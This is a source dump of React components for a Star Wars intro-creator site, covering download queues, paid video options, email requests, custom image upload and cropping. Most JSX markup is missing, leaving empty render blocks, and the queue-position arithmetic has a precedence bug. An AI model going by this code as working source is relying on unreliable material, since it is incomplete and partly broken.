207 | paymentData,
208 | } = this.state;
209 |
210 | switch (page) {
211 | default:
212 | case INITIAL_PAGE:
213 | return this.renderInitialPage();
214 |
215 | case REQUEST_PAGE:
216 | return (
217 |
224 | );
225 |
226 | case FINAL_PAGE:
227 | return (
228 |
235 | );
236 |
237 | case ADD_EMAIL_PAGE:
238 | return (
239 |
243 | );
244 | }
245 | }
246 |
247 | render() {
248 | const { status } = this.state.status;
249 | const canDonateToReceiveFaster = status === QUEUED;
250 | const title = canDonateToReceiveFaster ? 'payment and download' : 'download';
251 | return (
252 |
253 |
{title}
254 | {this.renderPageContent()}
255 |
256 | );
257 | }
258 | }
259 |
260 | export default DownloadPage;
261 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/DownloadVideoButton.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 |
3 | const DownloadVideoButton = ({ url }) => (
4 |
7 | );
8 |
9 | export default DownloadVideoButton;
10 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/EmailRequestField.js:
--------------------------------------------------------------------------------
1 | import React, { Component } from 'react';
2 | import PropTypes from 'prop-types';
3 | import swal from 'sweetalert2';
4 | import axios from 'axios';
5 | import { backOff } from 'exponential-backoff';
6 | import { requestIntroDownload } from '../api/actions';
7 | import UserIdentifier from '../extras/UserIdentifier';
8 | import { trackSubmitWithoutDonation } from '../api/tracking';
9 |
10 | const newsletterApiURL = process.env.NEWSLETTER_API_URL;
11 |
12 | class EmailRequestField extends Component {
13 | handleSubmit = async (e) => {
14 | e.preventDefault();
15 | const { openingKey, finishRequestHandle } = this.props;
16 | const emailField = document.querySelector('#emailRequestField #email');
17 | const email = emailField.value;
18 | const subscribeCheckbox = document.querySelector('#emailRequestField #subscribe-newsletter');
19 |
20 | if (subscribeCheckbox.checked) {
21 | backOff(() => axios.request({
22 | url: newsletterApiURL,
23 | method: 'POST',
24 | data: {
25 | email,
26 | language: navigator.language,
27 | source: 'star-wars-intro-creator',
28 | },
29 | }));
30 | }
31 |
32 | UserIdentifier.addEmail(email);
33 |
34 | let requestDownloadStatus;
35 |
36 | await swal({
37 | title: 'download request',
38 | text: `Requestion download for intro "${openingKey}"...`,
39 | allowOutsideClick: false,
40 | allowEscapeKey: false,
41 | onOpen: async () => {
42 | swal.showLoading();
43 | requestDownloadStatus = await requestIntroDownload(openingKey, email);
44 | if (requestDownloadStatus) {
45 | swal.hideLoading();
46 | swal.clickConfirm();
47 |
48 | if (requestDownloadStatus) {
49 | finishRequestHandle(requestDownloadStatus, email);
50 | }
51 | }
52 | },
53 | });
54 | }
55 |
56 | render() {
57 | const { buttonlabel = 'ADD EMAIL TO REQUEST' } = this.props;
58 | return (
59 |
76 | );
77 | }
78 | }
79 |
80 | EmailRequestField.propTypes = {
81 | buttonlabel: PropTypes.string,
82 | openingKey: PropTypes.string,
83 | finishRequestHandle: PropTypes.func,
84 | };
85 |
86 | export default EmailRequestField;
87 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/ImageUploadButton.js:
--------------------------------------------------------------------------------
1 | import React, { useRef, useState } from 'react';
2 | import axios from 'axios'
3 | import getURLFromFile from '../util/getURLFromFile'
4 | import ImageAdjustmentModal from '../ImageAdjustmentModal/ImageAdjustmentModal';
5 |
6 | const ImageUploadButton = ({ onChange }) => {
7 | const fileInputRef = useRef();
8 | const [imageToCrop, setImageToCrop] = useState(null);
9 |
10 | return (
11 | <>
12 | fileInputRef.current.click()}
15 | >
16 | Upload Image
17 |
18 | {
24 | const file = event.target.files[0]
25 | if (!file) {
26 | event.target.value = null;
27 | return
28 | }
29 |
30 | const newImage = await getURLFromFile(file)
31 | setImageToCrop(newImage)
32 | fileInputRef.current.value = null
33 | }}
34 | />
35 | setImageToCrop(null)}
39 | onChange={async (adjustedImage) => {
40 | const response = await axios.get('https://chatwoot-bot.vercel.app/api/get-presigned-url');
41 | const { uploadURL } = response.data;
42 | adjustedImage.name = 'image.png'
43 | await axios.put(uploadURL, adjustedImage, {
44 | headers: {
45 | 'Content-Type': 'image/png',
46 | 'x-amz-acl': 'public-read',
47 | },
48 | });
49 | const imageURL = uploadURL.replace(/\?.*/g, '')
50 |
51 | onChange(imageURL);
52 | }}
53 | />
54 | >
55 | );
56 | };
57 |
58 | ImageUploadButton.propTypes = {};
59 |
60 | export default ImageUploadButton;
61 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/Loader.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 |
3 | const Loader = ({
4 | text,
5 | style,
6 | size = 5,
7 | }) => (
8 |
19 | );
20 |
21 | export default Loader;
22 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/PaymentModule.js:
--------------------------------------------------------------------------------
1 | import React, {
2 | Fragment, useCallback, useState, useRef, useEffect, useMemo,
3 | } from 'react';
4 | import PropTypes from 'prop-types';
5 | import { Box, CircularProgress } from '@material-ui/core';
6 | import { useElementSize } from 'usehooks-ts';
7 | import { trackAddToCart } from '../api/tracking';
8 | import { paymentPageUrl } from '../config';
9 | import Loader from './Loader';
10 | import VideoOptions from './newFlow/VideoOptions';
11 | import ImageUploadButton from './ImageUploadButton';
12 |
13 | const PaymentModule = ({ openingKey }) => {
14 | const iframeRef = useRef(null);
15 | const [isCustomImage, setIsCustomImage] = useState(false);
16 | const [utmParamsString, setUtmParamsString] = useState('');
17 | const [isLoadingCustomImagePreview, setIsLoadingCustomImagePreview] = useState(true);
18 | const [imagePreviewRef, imagePreviewSize] = useElementSize();
19 |
20 | const transformScale = useMemo(() => (
21 | imagePreviewSize?.width / 1920
22 | ), [imagePreviewSize?.width]);
23 |
24 | const [customImage, setCustomImage] = useState('https://kassellabs.us-east-1.linodeobjects.com/static-assets/star-wars/DeathStar-Background.png');
25 |
26 | const updatePaymentAmount = useCallback((amount) => {
27 | iframeRef.current.contentWindow.postMessage({ action: 'setAmount', payload: amount }, '*');
28 |
29 | trackAddToCart(amount);
30 |
31 | setIsCustomImage(amount >= 40);
32 | }, [iframeRef.current]);
33 |
34 | useEffect(() => {
35 | if (!customImage || !isCustomImage) {
36 | iframeRef.current.contentWindow.postMessage({ action: 'setCode', payload: openingKey }, '*');
37 | return;
38 | }
39 |
40 | const code = JSON.stringify({ code: openingKey, image: customImage });
41 | iframeRef.current.contentWindow.postMessage({ action: 'setCode', payload: code }, '*');
42 | }, [openingKey, customImage, isCustomImage]);
43 |
44 | useEffect(() => {
45 | if (!isCustomImage) {
46 | return () => {};
47 | }
48 |
49 | const onMessage = (event) => {
50 | const isAnimationType = event.data?.type === 'animation';
51 | const isFinishedAction = event.data?.action === 'finished';
52 |
53 | if (isAnimationType && isFinishedAction) {
54 | setIsLoadingCustomImagePreview(false);
55 | }
56 | };
57 | window.addEventListener('message', onMessage);
58 | setIsLoadingCustomImagePreview(true);
59 |
60 | return () => {
61 | window.removeEventListener('message', onMessage);
62 | };
63 | }, [customImage, isCustomImage]);
64 |
65 | useEffect(() => {
66 | const savedParamsString = localStorage.getItem('saved-utm-params');
67 | if (!savedParamsString) {
68 | return;
69 | }
70 |
71 | try {
72 | const savedUtmParams = JSON.parse(savedParamsString);
73 | const params = new URLSearchParams(savedUtmParams);
74 | const paramsString = params.toString();
75 | if (paramsString) {
76 | setUtmParamsString(`&${paramsString}`);
77 | }
78 | } catch (error) {
79 | // Supress any errors here
80 | }
81 | }, []);
82 |
83 | return (
84 | <>
85 |
86 | {
87 | isCustomImage && (
88 |
92 |
93 | Upload your custom image at the button below:
94 |
95 |
{
97 | setCustomImage(newCustomImage);
98 | }}
99 | />
100 |
101 | Preview your custom image:
102 |
103 |
107 |
122 | {isLoadingCustomImagePreview && (
123 |
133 |
134 |
135 | )}
136 |
137 |
138 | )
139 | }
140 | Fill the form below to pay:
141 |
142 |
143 |
144 |
145 |
153 |
154 | >
155 | );
156 | };
157 |
158 | PaymentModule.propTypes = {
159 | openingKey: PropTypes.string,
160 | };
161 |
162 | export default PaymentModule;
163 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/RenderedPage.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import PropTypes from 'prop-types';
3 |
4 | import ContactButton from './ContactButton';
5 | import DownloadVideoButton from './DownloadVideoButton';
6 | import Atat from './Atat';
7 | import SocialButtons from './SocialButtons';
8 |
9 | const RenderedPage = ({ status }) => (
10 |
11 |
12 |
13 | Your video is ready to download! Click on the button below to download it!
14 |
15 |
16 |
17 |
22 |
23 | );
24 |
25 | RenderedPage.propTypes = {
26 | status: PropTypes.object,
27 | };
28 |
29 | export default RenderedPage;
30 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/RenderingPage.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import PropTypes from 'prop-types';
3 | import ContactButton from './ContactButton';
4 | import EmailRequestField from './EmailRequestField';
5 | import SocialButtons from './SocialButtons';
6 | import Atat from './Atat';
7 |
8 | import { RENDERING } from './constants';
9 |
10 | const RenderingPage = ({ statusType, openingKey, finishRequestHandle }) => {
11 | const text = RENDERING === statusType
12 | ? 'Your video is being rendered right now! You will receive your video by email in less than two hours.'
13 | : 'Your donation has been verified, your video will be rendered soon. You will receive your video by email in a few hours. '; // TODO show ETA here
14 | return (
15 |
16 |
17 |
18 | {text}
19 | This page will be updated when the video is ready.
20 |
21 |
22 |
23 | If you want, you can add more emails to receive the video in the form below.
24 |
25 |
30 |
33 |
34 | );
35 | };
36 |
37 | RenderingPage.propTypes = {
38 | statusType: PropTypes.string,
39 | openingKey: PropTypes.string,
40 | finishRequestHandle: PropTypes.func,
41 | };
42 |
43 | export default RenderingPage;
44 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/SocialButtons.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import PropTypes from 'prop-types';
3 |
4 | const SocialButtons = ({ text }) => (
5 |
6 |
7 | { text }
8 |
9 |
29 |
30 | );
31 |
32 | SocialButtons.propTypes = {
33 | text: PropTypes.string,
34 | };
35 |
36 | export default SocialButtons;
37 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/TermsOfServiceAcceptance.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 |
3 | const TermsOfServiceAcceptance = () => (
4 |
5 | By using this website you are agreeing to our
6 |
11 | Terms of Service
12 | .
13 |
14 | );
15 |
16 | export default TermsOfServiceAcceptance;
17 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/constants.js:
--------------------------------------------------------------------------------
1 | export const QUEUED = 'queued';
2 | export const BUMPED = 'bumped';
3 | export const NOT_QUEUED = 'not_queued';
4 | export const RENDERING = 'rendering';
5 | export const RENDERED = 'rendered';
6 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/DonateOrNotDonateNew.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import PropTypes from 'prop-types';
3 |
4 | const DonateOrNotDonate = ({
5 | question = 'Did you complete the payment or prefer to wait in queue?',
6 | yesText = "Yes, confirm payment!",
7 | noText = "No, I'll wait in the queue!",
8 | yesDonateHandle,
9 | noDonateHandle,
10 | hideNoDonateOption = false
11 | }) => (
12 |
13 |
{question}
14 |
15 | {yesText}
16 | {!hideNoDonateOption
17 | && (
18 |
19 | {noText}
20 |
21 | )
22 | }
23 |
24 |
25 | );
26 |
27 | DonateOrNotDonate.propTypes = {
28 | yesDonateHandle: PropTypes.func,
29 | noDonateHandle: PropTypes.func,
30 | hideNoDonateOption: PropTypes.bool,
31 | question: PropTypes.string,
32 | yesText: PropTypes.string,
33 | noText: PropTypes.string,
34 | };
35 |
36 | export default DonateOrNotDonate;
37 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/HelpButton.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import PropTypes from 'prop-types';
3 |
4 | const HelpButton = ({ children }) => (
5 |
6 |
7 | {children}
8 |
9 |
?
10 |
11 | );
12 |
13 | HelpButton.propTypes = {
14 | children: PropTypes.string,
15 | };
16 |
17 | export default HelpButton;
18 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/NotQueuedPageNew.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import EmailRequestField from '../EmailRequestField';
3 | import TermsOfServiceAcceptance from '../TermsOfServiceAcceptance';
4 | import ContactButton from '../ContactButton';
5 |
6 | const NotQueuedPage = ({ openingKey, finishRequestHandle }) => (
7 |
8 |
9 | You can now request a download a video of your creation.
10 |
11 |
12 | The video will rendered in our servers and take some time to be delivered.
13 | After the video is ready, it will be sent to your email address.
14 |
15 |
16 | Your email address will be used only to send the video, but
17 | you can choose to receive news from Kassel Labs about new releases.
18 |
19 | {/*
20 | Before sending the download request make sure there are no typos in your text
21 | to grant that your video will be with the correct text.
22 |
*/}
23 |
24 |
28 |
29 |
30 |
31 | Type your email below to receive your video download link:
32 |
33 |
34 |
39 |
40 | );
41 |
42 | export default NotQueuedPage;
43 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/RequestDownloadPageNew.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import PropTypes from 'prop-types';
3 | import DonateOrNotDonate from './DonateOrNotDonateNew';
4 | import TermsOfServiceAcceptance from '../TermsOfServiceAcceptance';
5 | import ContactButton from '../ContactButton';
6 | import EmailRequestField from '../EmailRequestField';
7 | import { calculateTimeToRender } from '../../extras/auxiliar';
8 | import { QUEUED } from '../constants';
9 | import Atat from '../Atat';
10 |
11 | const RequestDownloadPage = ({
12 | donate,
13 | status,
14 | openingKey,
15 | finishRequestHandle,
16 | ...props
17 | }) => {
18 | const { queueSize, queuePosition } = status;
19 | const isQueued = status.status === QUEUED;
20 |
21 | const position = 1 + isQueued ? queuePosition : queueSize;
22 |
23 | const timeToRender = calculateTimeToRender(position);
24 |
25 | const notQueuedText = 'will be';
26 | const qeuedText = 'is';
27 |
28 | return (
29 |
30 |
31 |
32 | Your video request
33 | {' '}
34 | {isQueued ? qeuedText : notQueuedText}
35 | {' '}
36 | queued at position
37 | {' '}
38 | {position}
39 | .
40 | It may take up to
41 | {' '}
42 | {timeToRender}
43 | {' '}
44 | to have your video rendered.
45 | Free videos will be rendered in the HD quality (1280x720).
46 |
47 |
48 |
49 |
50 |
51 | Fill your email below and when your video is ready
52 | you will receive a message with the link to download it.
53 |
54 |
55 | Your email address will be used only to send the video, but
56 | you can choose to receive news from Kassel Labs about new releases.
57 |
58 |
59 |
60 |
61 |
65 |
66 | );
67 | };
68 |
69 | RequestDownloadPage.propTypes = {
70 | donate: PropTypes.bool,
71 | status: PropTypes.object,
72 | openingKey: PropTypes.string,
73 | finishRequestHandle: PropTypes.func,
74 | };
75 |
76 | export default RequestDownloadPage;
77 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/VideoOptions.js:
--------------------------------------------------------------------------------
1 | import React, { Fragment, useState, useCallback } from 'react';
2 | import PropTypes from 'prop-types';
3 | import classnames from 'classnames';
4 |
5 | import DeathStar from '../../../assets/favicon.png';
6 | import HelpButton from './HelpButton';
7 |
8 | const amounts = {
9 | hd: 10,
10 | fhd: 15,
11 | custom: 40,
12 | };
13 |
14 | const VideoOptions = ({ updatePaymentAmount }) => {
15 | const [selectedOption, setSelectedOption] = useState('fhd');
16 |
17 | const selectOption = useCallback((option) => {
18 | setSelectedOption(option);
19 | updatePaymentAmount(amounts[option]);
20 | });
21 |
22 | return (
23 | <>
24 | Choose your video option:
25 |
26 |
selectOption('hd')}
31 | >
32 | HD video
33 | 1280 x 720
34 | MP4 File
35 |
36 | Pay at least
37 | {' '}
38 | $10
39 |
40 |
41 |
selectOption('fhd')}
46 | >
47 | Full HD video
48 | 1920 x 1080
49 | MP4 File
50 |
51 | Pay at least
52 | {' '}
53 | $15
54 |
55 |
56 |
selectOption('custom')}
61 | >
62 |
63 | A more customizable video with the Death Star image replacement.
64 | Contact us via email to submit your image.
65 | This take usually less than one business day to be delivered.
66 |
67 |
68 |
69 | Full HD
70 |
71 | + Custom Image
72 |
73 |
74 | Pay at least
75 | {' '}
76 | $40
77 |
78 |
79 |
80 | >
81 | );
82 | };
83 |
84 | VideoOptions.propTypes = {
85 | updatePaymentAmount: PropTypes.func,
86 | };
87 |
88 | export default VideoOptions;
89 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/VideoQueuedPageNew.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import DonateOrNotDonate from './DonateOrNotDonateNew';
3 | import { calculateTimeToRender } from '../../extras/auxiliar';
4 | import TermsOfServiceAcceptance from '../TermsOfServiceAcceptance';
5 | import ContactButton from '../ContactButton';
6 | import PaymentModule from '../PaymentModule';
7 |
8 | const VideoQueuedPage = ({
9 | status, openingKey, requestEmail, ...props
10 | }) => {
11 | const { queuePosition } = status;
12 | const timeToRender = calculateTimeToRender(queuePosition);
13 |
14 | const renderEmail = () => {
15 | if (!requestEmail) {
16 | return null;
17 | }
18 |
19 | return (
20 |
21 | The link to download the video will be sent to the email:
22 |
23 | {requestEmail}
24 |
25 |
26 | );
27 | };
28 |
29 | return (
30 |
31 |
32 | Your video is in the queue to be rendered.
33 | We provide the video for free, but we have costs with
34 | the servers where the video are rendered.
35 | All the videos are provided without Watermark.
36 |
37 |
38 | There are
39 | {' '}
40 |
41 | {queuePosition}
42 | {' '}
43 | videos
44 |
45 | {' '}
46 | in front of this request to be rendered and
47 | may take up to
48 | {timeToRender}
49 | {' '}
50 | to send the video.
51 | {requestEmail && (
52 |
53 | {' '}
54 | The link to download the video will be sent to the email:
55 |
56 | {requestEmail}
57 |
58 |
59 | )}
60 |
61 |
62 | Can't wait for it? Pay to support our service and your video will
63 | be ready in a few hours (1 hour usually).
64 |
65 |
66 |
67 |
68 | Do you want to see a sample video?
69 | {' '}
70 |
71 | Take a look at this one on YouTube.
72 |
73 |
74 |
75 |
79 |
80 |
81 |
82 | );
83 | };
84 |
85 | export default VideoQueuedPage;
86 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/newFlow/VideoRequestSentNew.js:
--------------------------------------------------------------------------------
1 | import React, { Fragment, Component } from 'react';
2 | import PropTypes from 'prop-types';
3 |
4 | import { calculateTimeToRender } from '../../extras/auxiliar';
5 | import TermsOfServiceAcceptance from '../TermsOfServiceAcceptance';
6 | import ContactButton from '../ContactButton';
7 | import UrlHandler from '../../extras/UrlHandler';
8 | import Atat from '../Atat';
9 | import SocialButtons from '../SocialButtons';
10 |
11 | class VideoRequestSent extends Component {
12 | constructor(props) {
13 | super(props);
14 |
15 | const { donate, paymentData, openingKey } = props;
16 | if (donate && !paymentData) {
17 | UrlHandler.goToDownloadPage(openingKey, 'pay');
18 | }
19 | }
20 |
21 | handleOkButton = () => {
22 | const { openingKey } = this.props;
23 | UrlHandler.goToEditPage(openingKey);
24 | }
25 |
26 | handleAddEmailButton = () => {
27 | const { openingKey } = this.props;
28 | UrlHandler.goToDownloadPage(openingKey, 'add_email');
29 | }
30 |
31 | donateButton = () => {
32 | const { openingKey } = this.props;
33 | UrlHandler.goToDownloadPage(openingKey, 'pay');
34 | };
35 |
36 | renderEmail() {
37 | const { requestEmail } = this.props;
38 |
39 | if (!requestEmail) {
40 | return null;
41 | }
42 |
43 | return (
44 |
45 | The link to download the video will be sent to the email:
46 |
47 | {requestEmail}
48 |
49 |
50 | );
51 | }
52 |
53 | renderDidNotDonate() {
54 | const { requestStatus } = this.props;
55 | const { queuePosition } = requestStatus;
56 | const timeToRender = calculateTimeToRender(queuePosition);
57 |
58 | return (
59 |
60 |
61 | Your video request has been queued!
62 | Your current position on the queue is
63 | {' '}
64 | {queuePosition}
65 | ,
66 | and may take up to
67 | {' '}
68 | {timeToRender}
69 | {' '}
70 | to send your video.
71 | {this.renderEmail()}
72 | The link to download will also be available on this page when it's ready.
73 | You can add more emails to receive the video if you want in the button below.
74 |
75 | );
76 | }
77 |
78 | renderDonate() {
79 | const { paymentData } = this.props;
80 | if (!paymentData) {
81 | return null;
82 | }
83 |
84 | const { method, receiptURL } = paymentData;
85 |
86 | const isPaypal = method === 'paypal';
87 | const hasReceiptURL = !!receiptURL;
88 |
89 | return (
90 |
91 |
92 | Thank you so much for supporting us!
93 | Your video should be rendered soon!
94 |
95 |
{this.renderEmail()}
96 |
97 | {isPaypal
98 | && (
99 |
100 | Check your PayPal account for the receipt. You will also receive the video
101 | on your PayPal email.
102 |
103 | )}
104 |
105 | {hasReceiptURL
106 | && (
107 | <>
108 |
109 | Check your payment receipt on the link below.
110 | It was also sent to your email address.
111 |
112 |
117 | >
118 | )}
119 |
120 |
121 |
125 |
126 |
127 |
128 | You can add more emails to receive the video if you want.
129 | The link to download will also be available on this page when it's ready.
130 |
131 |
132 | );
133 | }
134 |
135 | render() {
136 | const { donate } = this.props;
137 | return (
138 |
139 | {donate ? this.renderDonate() : this.renderDidNotDonate() }
140 |
141 |
142 | OK
143 | Add another Email
144 |
145 |
148 |
149 | );
150 | }
151 | }
152 |
153 | VideoRequestSent.propTypes = {
154 | openingKey: PropTypes.string,
155 | requestStatus: PropTypes.object,
156 | requestEmail: PropTypes.string,
157 | donate: PropTypes.bool,
158 | paymentData: PropTypes.object,
159 | };
160 |
161 | export default VideoRequestSent;
162 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/paymentEventsHandler.js:
--------------------------------------------------------------------------------
1 | import { trackPurchase } from '../api/tracking';
2 |
3 | const callbacks = {
4 | success: null,
5 | };
6 |
7 | const paymentEventsHandler = (event) => {
8 | if (!event.origin.match(/https:\/\/payment\.kassellabs\.io$/)) return;
9 | // if (!event.origin.match(/http:\/\/localhost:3000$/)) return;
10 |
11 | const { data } = event;
12 | if (data.type !== 'payment') {
13 | return;
14 | }
15 |
16 | if (data.action === 'success') {
17 | if (callbacks.success) {
18 | callbacks.success(data.payload);
19 | }
20 |
21 | trackPurchase(data.payload.finalAmount, data.payload.currency);
22 | }
23 | };
24 |
25 | export const registerPaymentEventsHandler = (paymentSuccessCallback) => {
26 | callbacks.success = paymentSuccessCallback;
27 | window.addEventListener('message', paymentEventsHandler);
28 | };
29 |
30 | export const unregisterPaymentEventsHandler = () => {
31 | window.removeEventListener('message', paymentEventsHandler);
32 | };
33 |
--------------------------------------------------------------------------------
/src/js/ImageAdjustmentModal/Dialog.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import {
3 | Box,
4 | Dialog as MUIDialog,
5 | DialogTitle,
6 | DialogContent,
7 | Slide,
8 | } from '@material-ui/core';
9 | import CloseIcon from '@material-ui/icons/Close';
10 | import useWindowSize from '../hooks/useWindowSize';
11 |
12 | const Transition = React.forwardRef((props, ref) => );
13 |
14 | export default function Dialog({
15 | title, open, onClose, maxWidth, children, actions,
16 | }) {
17 | const { isDesktop } = useWindowSize();
18 |
19 | return (
20 |
27 |
28 |
29 | { title }
30 |
31 |
32 |
33 |
34 |
35 |
36 | { children }
37 |
38 |
39 | { actions }
40 |
41 |
42 | );
43 | }
44 |
--------------------------------------------------------------------------------
/src/js/ImageAdjustmentModal/ImageAdjustmentModal.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import {
3 | Box,
4 | Button,
5 | Slider,
6 | CircularProgress,
7 | Typography,
8 | Tooltip,
9 | } from '@material-ui/core';
10 | import CropIcon from '@material-ui/icons/Crop';
11 | import VerticalAlignCenterIcon from '@material-ui/icons/VerticalAlignCenter';
12 | import FullscreenIcon from '@material-ui/icons/Fullscreen';
13 | import FullscreenExitIcon from '@material-ui/icons/FullscreenExit';
14 | import Cropper from 'react-easy-crop';
15 |
16 | import Dialog from './Dialog';
17 | import getCroppedImages from '../util/getCroppedImages';
18 | import getResizedImages from '../util/getResizedImages';
19 |
20 | const DEFAULT_CROP = {
21 | x: 0,
22 | y: 0,
23 | };
24 |
25 | const IMAGE_SIZE = {
26 | width: 1920,
27 | height: 1080,
28 | };
29 |
30 | const CropDialog = ({
31 | image, onChange, open, onClose,
32 | }) => {
33 | const [mediaSize, setMediaSize] = React.useState(null);
34 | const [cropArea, setCropArea] = React.useState(null);
35 | const [crop, setCrop] = React.useState(DEFAULT_CROP);
36 | const [zoom, setZoom] = React.useState(0.25);
37 | const [rotation, setRotation] = React.useState(0);
38 | const [loading, setLoading] = React.useState(false);
39 | const [cropSize, setCropSize] = React.useState({ width: 0, height: 0 });
40 |
41 | return (
42 | Position Image}
47 | actions={(
48 | <>
49 |
54 | Close
55 |
56 | }
60 | style={{
61 | pointerEvents: loading ? 'none' : 'initial',
62 | }}
63 | onClick={async () => {
64 | setLoading(true);
65 | const croppedImages = await getCroppedImages(image, cropArea, rotation);
66 | const resizedImages = await getResizedImages(
67 | croppedImages,
68 | { maxWidth: IMAGE_SIZE.width, maxHeight: IMAGE_SIZE.height, backgroundColor: 'rgba(0, 0, 0, 0)' },
69 | );
70 | await onChange(resizedImages);
71 | onClose();
72 | setLoading(false);
73 | }}
74 | >
75 | {
76 | loading
77 | ? (
78 |
79 | Loading
80 |
81 |
82 |
83 |
84 | )
85 | : 'Confirm'
86 | }
87 |
88 | >
89 | )}
90 | >
91 |
98 | setCropArea(newCropArea)}
109 | onCropSizeChange={(newCropSize) => {
110 | setCropSize(newCropSize);
111 | }}
112 | onMediaLoaded={(loadedMediaSize) => {
113 | setMediaSize(loadedMediaSize);
114 | }}
115 | />
116 |
129 | {mediaSize && (
130 |
139 |
140 |
141 | {
145 | setCrop({ ...crop, x: 0 });
146 | }}
147 | >
148 |
149 |
150 |
151 |
152 |
153 | {
157 | setCrop({ ...crop, y: 0 });
158 | }}
159 | >
160 |
161 |
162 |
163 |
164 | {
168 | // Adjust the size
169 | const widthResize = cropSize.width / mediaSize.width;
170 | const heightResize = cropSize.height / mediaSize.height;
171 | const newZoom = Math.min(widthResize, heightResize);
172 | setZoom(newZoom);
173 | setRotation(0);
174 |
175 | // Adjust the alignment
176 | setCrop({ x: 0, y: 0 });
177 | }}
178 | >
179 |
180 |
181 |
182 |
183 | {
187 | // Adjust the size
188 | const widthResize = cropSize.width / mediaSize.width;
189 | const heightResize = cropSize.height / mediaSize.height;
190 | const newZoom = Math.max(widthResize, heightResize);
191 | setZoom(newZoom);
192 | setRotation(0);
193 |
194 | // Adjust the alignment
195 | setCrop({ x: 0, y: 0 });
196 | }}
197 | >
198 |
199 |
200 |
201 |
202 | )}
203 |
204 |
205 |
206 | Zoom
207 | setZoom(newZoom)}
210 | valueLabelDisplay="auto"
211 | valueLabelFormat={(value) => value.toFixed(2)}
212 | min={0.05}
213 | step={0.01}
214 | max={3}
215 | />
216 |
217 |
218 | Rotation
219 | setRotation(newRotation)}
222 | valueLabelDisplay="auto"
223 | valueLabelFormat={(value) => value.toFixed(1)}
224 | min={-180}
225 | step={0.1}
226 | max={180}
227 | />
228 |
229 |
230 |
231 | );
232 | };
233 |
234 | export default CropDialog;
235 |
--------------------------------------------------------------------------------
/src/js/StarWarsAnimation.js:
--------------------------------------------------------------------------------
1 | import { checkSWFontCompatibility } from './extras/auxiliar';
2 | import { appendKeyframesRule } from './extras/utils';
3 | import escapeHtml from './extras/escapeHtml';
4 | import ApplicationState from './ApplicationState';
5 | import UrlHandler from './extras/UrlHandler';
6 | import isFirefoxDesktop from './extras/isFirefoxDesktop';
7 |
8 | class StarWarsAnimation {
9 | constructor() {
10 | this.animationContainer = document.querySelector('#animationContainer');
11 | this.animation = null;
12 |
13 | const animation = this.animationContainer.querySelector('.starwarsAnimation');
14 | this.animationCloned = animation.cloneNode(true);
15 |
16 | this.reset();
17 | }
18 |
19 | reset() {
20 | const animation = this.animationContainer.querySelector('.starwarsAnimation');
21 | if (animation) {
22 | this.animationContainer.removeChild(animation);
23 | }
24 |
25 | const cloned = this.animationCloned.cloneNode(true);
26 | this.animation = cloned;
27 | }
28 |
29 | prepareBodyText(text) {
30 | const escapedText = escapeHtml(text);
31 |
32 | const paragraphs = escapedText
33 | .trim()
34 | .split('\n')
35 | .join('');
36 |
37 | const breakLineBetweenPs = paragraphs
38 | .split('
')
39 | .join(' ');
40 |
41 | const finalHtml = `${breakLineBetweenPs}
`;
42 |
43 | return finalHtml;
44 | }
45 |
46 | load(opening) {
47 | // animation shortcut
48 | const { animation } = this;
49 |
50 | // INTRO TEXT
51 | const introHtml = escapeHtml(opening.intro)
52 | .replace(/\n/g, ' ');
53 |
54 | animation.querySelector('#intro').innerHTML = introHtml;
55 |
56 | // EPISODE
57 | animation.querySelector('#episode').textContent = opening.episode;
58 |
59 | // EPISODE TITLE
60 | const titleContainer = animation.querySelector('#title');
61 | titleContainer.textContent = opening.title;
62 | if (checkSWFontCompatibility(opening.title)) {
63 | titleContainer.classList.add('SWFont');
64 | }
65 |
66 | // TEXT
67 | const textHtml = this.prepareBodyText(opening.text);
68 |
69 | const textContainer = animation.querySelector('#text');
70 | textContainer.innerHTML = textHtml;
71 |
72 | // TEXT CENTER ALIGNMENT
73 | textContainer.style.textAlign = opening.center ? 'center' : ''; // empty will not override the justify default rule
74 |
75 | // PLAYING BUTTONS
76 | const downloadButton = animation.querySelector('#playing-download-button');
77 | if (downloadButton) {
78 | downloadButton.onclick = () => {
79 | UrlHandler.goToDownloadPage(ApplicationState.state.key);
80 | };
81 | }
82 | const editButton = animation.querySelector('#playing-edit-button');
83 | if (editButton) {
84 | editButton.onclick = () => {
85 | this.reset();
86 | UrlHandler.goToEditPage(ApplicationState.state.key);
87 | };
88 | }
89 |
90 | // LOGO
91 | const starwarsDefaultText = 'star\nwars';
92 | const logoTextContainer = animation.querySelector('.logoText');
93 | const logoDefaultContainer = animation.querySelector('#logoDefault');
94 |
95 | const logoContainer = animation.querySelector('#logo');
96 | if (isFirefoxDesktop()) {
97 | logoContainer.classList.add('-firefox-desktop');
98 | }
99 |
100 | const logoText = opening.logo.trim();
101 | // is default logo
102 | if (logoText.toLowerCase() === starwarsDefaultText) {
